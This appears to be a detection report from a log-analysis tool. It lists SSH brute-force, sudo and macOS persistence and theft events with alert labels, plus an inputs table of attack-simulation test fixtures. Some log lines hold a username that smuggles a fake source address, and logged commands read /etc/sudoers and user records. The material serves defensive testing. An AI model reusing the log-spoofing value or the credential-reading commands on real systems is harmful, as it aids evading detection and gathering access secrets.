2024-06-03 16:00:00Zweb01auth -Failed password for invalid user x from 192.0.2.10 port 1 from 198.51.100.66 port 53000 ssh2 medium SSH Brute Force
2024-06-03 16:00:05Zweb01auth -Failed password for invalid user x from 192.0.2.10 port 1 from 198.51.100.66 port 53001 ssh2 medium SSH Brute Force
2024-06-03 16:00:10Zweb01auth -Failed password for invalid user x from 192.0.2.10 port 1 from 198.51.100.66 port 53002 ssh2 medium SSH Brute Force
2024-06-03 16:00:15Zweb01auth -Failed password for invalid user x from 192.0.2.10 port 1 from 198.51.100.66 port 53003 ssh2 medium SSH Brute Force
2024-06-03 16:00:20Zweb01auth -Failed password for invalid user x from 192.0.2.10 port 1 from 198.51.100.66 port 53004 ssh2 medium SSH Brute Force
2024-06-03 16:00:25Zweb01auth -Failed password for invalid user x from 192.0.2.10 port 1 from 198.51.100.66 port 53005 ssh2 medium SSH Brute Force
2024-06-03 16:00:30Zweb01auth -Failed password for invalid user x from 192.0.2.10 port 1 from 198.51.100.66 port 53006 ssh2 medium SSH Brute Force
2024-06-03 16:00:35Zweb01auth -Failed password for invalid user x from 192.0.2.10 port 1 from 198.51.100.66 port 53007 ssh2 medium SSH Brute Force
2024-06-03 16:00:40Zweb01auth -Failed password for invalid user x from 192.0.2.10 port 1 from 198.51.100.66 port 53008 ssh2 medium SSH Brute Force
2024-06-03 16:00:45Zweb01auth -Failed password for invalid user x from 192.0.2.10 port 1 from 198.51.100.66 port 53009 ssh2 medium SSH Brute Force
2024-06-04 08:05:00Zdeb13auth -Failed password for root from 203.0.113.90 port 51000 ssh2 high SSH Login After Brute Force; SSH Brute Force
2024-06-04 08:05:02Zdeb13auth -Failed password for root from 203.0.113.90 port 51001 ssh2 high SSH Login After Brute Force; SSH Brute Force
2024-06-04 08:05:04Zdeb13auth -Failed password for root from 203.0.113.90 port 51002 ssh2 high SSH Login After Brute Force; SSH Brute Force
2024-06-04 08:05:06Zdeb13auth -Failed password for root from 203.0.113.90 port 51003 ssh2 high SSH Login After Brute Force; SSH Brute Force
2024-06-04 08:05:08Zdeb13auth -Failed password for root from 203.0.113.90 port 51004 ssh2 high SSH Login After Brute Force; SSH Brute Force
2024-06-04 08:05:10Zdeb13auth -Failed password for root from 203.0.113.90 port 51005 ssh2 high SSH Login After Brute Force; SSH Brute Force
2024-06-04 08:05:12Zdeb13auth -Failed password for root from 203.0.113.90 port 51006 ssh2 high SSH Login After Brute Force; SSH Brute Force
2024-06-04 08:05:14Zdeb13auth -Failed password for root from 203.0.113.90 port 51007 ssh2 high SSH Login After Brute Force; SSH Brute Force
2024-06-04 08:05:16Zdeb13auth -Failed password for root from 203.0.113.90 port 51008 ssh2 high SSH Login After Brute Force; SSH Brute Force
2024-06-04 08:05:18Zdeb13auth -Failed password for root from 203.0.113.90 port 51009 ssh2 high SSH Login After Brute Force; SSH Brute Force
2024-06-04 08:05:30Zdeb13auth -Accepted password for root from 203.0.113.90 port 51100 ssh2 high SSH Login After Brute Force
2024-06-04 08:07:12Zdeb13auth -deploy : 3 incorrect password attempts ; HOST=deb13 ; TTY=pts/0 ; PWD=/home/deploy ; USER=root ; COMMAND=/bin/bash low Sudo Authentication Failure
2024-07-08 03:12:01Zweb04auth -Failed password for root from 203.0.113.120 port 55010 ssh2 medium SSH Brute Force
2024-07-08 03:12:09Zweb04auth -Failed password for root from 203.0.113.120 port 55010 ssh2 medium SSH Brute Force
2024-07-08 03:12:09Zweb04auth -Failed password for root from 203.0.113.120 port 55010 ssh2 medium SSH Brute Force
2024-07-08 03:12:09Zweb04auth -Failed password for root from 203.0.113.120 port 55010 ssh2 medium SSH Brute Force
2024-07-08 03:12:09Zweb04auth -Failed password for root from 203.0.113.120 port 55010 ssh2 medium SSH Brute Force
2024-07-08 03:12:09Zweb04auth -Failed password for root from 203.0.113.120 port 55010 ssh2 medium SSH Brute Force
2024-07-08 03:12:12Zweb04auth -Failed password for root from 203.0.113.120 port 55020 ssh2 medium SSH Brute Force
2024-07-08 03:12:20Zweb04auth -Failed password for root from 203.0.113.120 port 55020 ssh2 medium SSH Brute Force
2024-07-08 03:12:20Zweb04auth -Failed password for root from 203.0.113.120 port 55020 ssh2 medium SSH Brute Force
2024-07-08 03:12:20Zweb04auth -Failed password for root from 203.0.113.120 port 55020 ssh2 medium SSH Brute Force
2026-10-05 08:05:02Z-unifiedlog -opendirectoryd: Authentication failed for <private> (3F2A9C41-7B6D-4E8A-9D15-6C0B2E7A4F93): ODErrorCredentialsInvalid medium macOS Repeated Local Password Failures
2026-10-05 08:05:05Z-unifiedlog -opendirectoryd: Authentication failed for <private> (3F2A9C41-7B6D-4E8A-9D15-6C0B2E7A4F93): ODErrorCredentialsInvalid medium macOS Repeated Local Password Failures
2026-10-05 08:05:08Z-unifiedlog -opendirectoryd: Authentication failed for <private> (3F2A9C41-7B6D-4E8A-9D15-6C0B2E7A4F93): ODErrorCredentialsInvalid medium macOS Repeated Local Password Failures
2026-10-05 08:05:08Z-unifiedlog -sudo: opsadmin : 3 incorrect password attempts ; TTY=ttys001 ; PWD=/Users/opsadmin ; USER=root ; COMMAND=/bin/cat /etc/sudoers low macOS Sudo Authentication Failure
2026-10-05 08:05:30Z-unifiedlog -opendirectoryd: Authentication failed for <private> (3F2A9C41-7B6D-4E8A-9D15-6C0B2E7A4F93): ODErrorCredentialsInvalid medium macOS Repeated Local Password Failures
2026-10-05 08:05:34Z-unifiedlog -opendirectoryd: Authentication failed for <private> (3F2A9C41-7B6D-4E8A-9D15-6C0B2E7A4F93): ODErrorCredentialsInvalid medium macOS Repeated Local Password Failures
2026-10-05 08:05:34Z-unifiedlog -sudo: opsadmin : 2 incorrect password attempts ; PWD=/tmp ; USER=root ; COMMAND=/usr/bin/dscl . -read /Users/kiosk low macOS Sudo Authentication Failure
2026-10-05 13:00:00Z-unifiedlog -syspolicyd: XProtect behavioral detection macOS.Persistence.Launchplists (0x400000) medium macOS XProtect Behavioral Detection Of Persistence
2026-10-05 13:00:00Z-unifiedlog -backgroundtaskmanagementd: new legacy agent com.example.updater (updater): /Users/opsadmin/Library/LaunchAgents/com.example.updater.plist medium macOS Launch Agent Added
2026-10-05 13:10:00Z-unifiedlog -syspolicyd: XProtect behavioral detection macOS.Persistence.Launchplists (0x400000) medium macOS XProtect Behavioral Detection Of Persistence
2026-10-05 13:10:00Z-unifiedlog -backgroundtaskmanagementd: new legacy daemon com.example.vpn.helperd (helperd): /Library/LaunchDaemons/com.example.vpn.helperd.plist medium macOS Launch Daemon Added
2026-10-05 13:20:00Z-unifiedlog -syspolicyd: XProtect behavioral detection macOS.Persistence.ShellProfileFiles, macOS.Persistence.Launchplists (0x410000) medium macOS XProtect Behavioral Detection Of Persistence
2026-10-05 13:20:00Z-unifiedlog -backgroundtaskmanagementd: new legacy agent com.apple.softwareupdate.check (Software Update): /Users/opsadmin/Library/LaunchAgents/com.apple.softwareupdate.check agent.plist high macOS Launch Item Masquerading As Apple; macOS Launch Agent Added
2026-10-05 13:40:00Z-unifiedlog -backgroundtaskmanagementd: new legacy daemon com.apple.installer.cleanupinstaller (cleanup_installer): /Library/LaunchDaemons/com.apple.installer.cleanupinstaller.plist medium macOS Launch Daemon Added
2026-10-05 14:00:07Z-unifiedlog -syspolicyd: Adding Gatekeeper denial breadcrumb (direct): PST: (path: 5e1c0a7b93d24f68), (team: (null)), (id: com.example.invoice), (bundle_id: com.example.invoice) medium macOS Gatekeeper Blocked Unverified Code
2026-10-05 14:30:04Z-unifiedlog -syspolicyd: Adding Gatekeeper denial breadcrumb (direct): PST: (path: 0b4f6e2a8c1d3957), (team: ABCDE12345), (id: com.example.tool), (bundle_id: NOT_A_BUNDLE) medium macOS Gatekeeper Blocked Unverified Code
2026-10-05 15:00:00Z-unifiedlog -syspolicyd: XProtect behavioral detection macOS.InfoStealer.Generic (0x800) high macOS XProtect Behavioral Detection Of Data Theft
2026-10-05 15:00:02Z-unifiedlog -syspolicyd: XProtect behavioral detection macOS.Browser.Generic, macOS.DataExfil.Keychain (0x80001) high macOS XProtect Behavioral Detection Of Data Theft
2026-10-05 16:00:00Z-unifiedlog -sshd-session: Failed password for invalid user admin from 203.0.113.77 port 51000 ssh2 high macOS SSH Login After Brute Force; macOS SSH Brute Force
2026-10-05 16:00:07Z-unifiedlog -sshd-session: Failed password for opsadmin from 203.0.113.77 port 51001 ssh2 high macOS SSH Login After Brute Force; macOS SSH Brute Force
2026-10-05 16:00:14Z-unifiedlog -sshd-session: Failed password for opsadmin from 203.0.113.77 port 51002 ssh2 high macOS SSH Login After Brute Force; macOS SSH Brute Force
2026-10-05 16:00:21Z-unifiedlog -sshd-session: Failed password for invalid user admin from 203.0.113.77 port 51003 ssh2 high macOS SSH Login After Brute Force; macOS SSH Brute Force
2026-10-05 16:00:28Z-unifiedlog -sshd-session: Failed password for opsadmin from 203.0.113.77 port 51004 ssh2 high macOS SSH Login After Brute Force; macOS SSH Brute Force
2026-10-05 16:00:35Z-unifiedlog -sshd-session: Failed password for opsadmin from 203.0.113.77 port 51005 ssh2 high macOS SSH Login After Brute Force; macOS SSH Brute Force
2026-10-05 16:00:42Z-unifiedlog -sshd-session: Failed password for invalid user admin from 203.0.113.77 port 51006 ssh2 high macOS SSH Login After Brute Force; macOS SSH Brute Force
2026-10-05 16:00:49Z-unifiedlog -sshd-session: Failed password for opsadmin from 203.0.113.77 port 51007 ssh2 high macOS SSH Login After Brute Force; macOS SSH Brute Force
2026-10-05 16:00:56Z-unifiedlog -sshd-session: Failed password for opsadmin from 203.0.113.77 port 51008 ssh2 high macOS SSH Login After Brute Force; macOS SSH Brute Force
2026-10-05 16:01:03Z-unifiedlog -sshd-session: Failed password for invalid user admin from 203.0.113.77 port 51009 ssh2 high macOS SSH Login After Brute Force; macOS SSH Brute Force
2026-10-05 16:03:30Z-unifiedlog -sshd-session: Accepted password for opsadmin from 203.0.113.77 port 51099 ssh2 high macOS SSH Login After Brute Force

Inputs

What Vigie read, skipped or rejected.

FileFormatEventsWarnings
authlog/auth.logauthlog291
authlog/auth_benign.logauthlog270
authlog/auth_bruteforce_timing.logauthlog1080
authlog/auth_openssh10.logauthlog170
authlog/auth_retry_storm.logauthlog160
authlog/auth_rfc3339.logauthlog30
authlog/auth_rollover.logauthlog30
authlog/auth_rsyslog_repeated.logauthlog180
authlog/auth_sessions.logauthlog80
unifiedlog/mac_benign.ndjsonunifiedlog210
unifiedlog/mac_gatekeeper_xprotect.ndjsonunifiedlog140
unifiedlog/mac_persistence.ndjsonunifiedlog90
unifiedlog/mac_ssh.ndjsonunifiedlog140
unifiedlog/mac_sudo.ndjsonunifiedlog150
winjson/aptsimulator_cobaltstrike_service_excerpt.jsonwinjson40
winjson/cmd_bitsadmin_download_psh_script_excerpt.jsonwinjson101
winjson/cmd_discover_iexplorer_version_registry_excerpt.jsonwinjson20
winjson/cmd_mshta_vbscript_execute_psh_excerpt.jsonwinjson41
winjson/cmd_psexec_lsa_secrets_dump_service_excerpt.jsonwinjson20
winjson/cmd_psh_stop_netprofm_eventlog_before_reboot_excerpt.jsonwinjson80
winjson/covenant_dcom_executeexcel4macro_allowed_excerpt.jsonwinjson10
winjson/empire_persistence_registry_modification_run_keys_standard_user_certutil_excerpt.jsonwinjson100
winjson/empire_persistence_registry_modification_run_keys_standard_user_excerpt.jsonwinjson90
winjson/empire_psexec_dcerpc_tcp_svcctl_service_excerpt.jsonwinjson40
winjson/empire_schtasks_creation_execution_elevated_user_service_excerpt.jsonwinjson60
winjson/empire_schtasks_creation_standard_user_excerpt.jsonwinjson10
winjson/empire_shell_rubeus_asktgt_createnetonly_excerpt.jsonwinjson40
winjson/empire_smbexec_dcerpc_smb_svcctl_excerpt.jsonwinjson60
winjson/empire_wmi_local_event_subscriptions_elevated_user_excerpt.jsonwinjson80
winjson/empire_wmi_local_event_subscriptions_elevated_user_lsass_excerpt.jsonwinjson160
winjson/empire_wmic_add_user_backdoor_excerpt.jsonwinjson80
winjson/psh_disable_eventlog_service_startuptype_modification_excerpt.jsonwinjson50
winjson/psh_lsass_memory_dump_comsvcs_excerpt.jsonwinjson21
winjson/purplesharp_ad_playbook_I_excerpt.jsonwinjson140
winjson/rdp_interactive_taskmanager_lsass_dump_excerpt.jsonwinjson80
winjson/schtask_create_excerpt.jsonwinjson10
winjson/wmic_remote_xsl_jscript_excerpt.jsonwinjson20
winjson/wmic_remote_xsl_jscript_lsass_excerpt.jsonwinjson41

Parser warnings

Copied